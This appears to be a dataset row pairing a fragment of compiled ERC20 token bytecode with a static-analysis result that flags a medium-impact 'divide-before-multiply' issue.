60008301526117cd81611791565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611830602483611234565b915061183b826117d4565b604082019050919050565b6000602082019050818103600083015261185f81611823565b9050919050565b600061187182611347565b915061187c83611347565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b1576118b0611673565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f682611347565b915061190183611347565b925082611911576119106118bc565b5b828204905092915050565b600061192782611347565b915061193283611347565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196b5761196a611673565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e38161131b565b92915050565b6000602082840312156119ff576119fe6112e4565b5b6000611a0d848285016119d4565b91505092915050565b6000819050919050565b6000611a3b611a36611a3184611a16565b611507565b611347565b9050919050565b611a4b81611a20565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a8681611309565b82525050565b6000611a988383611a7d565b60208301905092915050565b6000602082019050919050565b6000611abc82611a51565b611ac68185611a5c565b9350611ad183611a6d565b8060005b83811015611b02578151611ae98882611a8c565b9750611af483611aa4565b925050600181019050611ad5565b5085935050505092915050565b600060a082019050611b2460008301886113f3565b611b316020830187611a42565b8181036040830152611b438186611ab1565b9050611b526060830185611470565b611b5f60808301846113f3565b969550505050505056fea2646970667358221220cda048f9fbf8b1802cdc6747541a3ddd95c7d3ba2814080639c6f54c892d7e5164736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.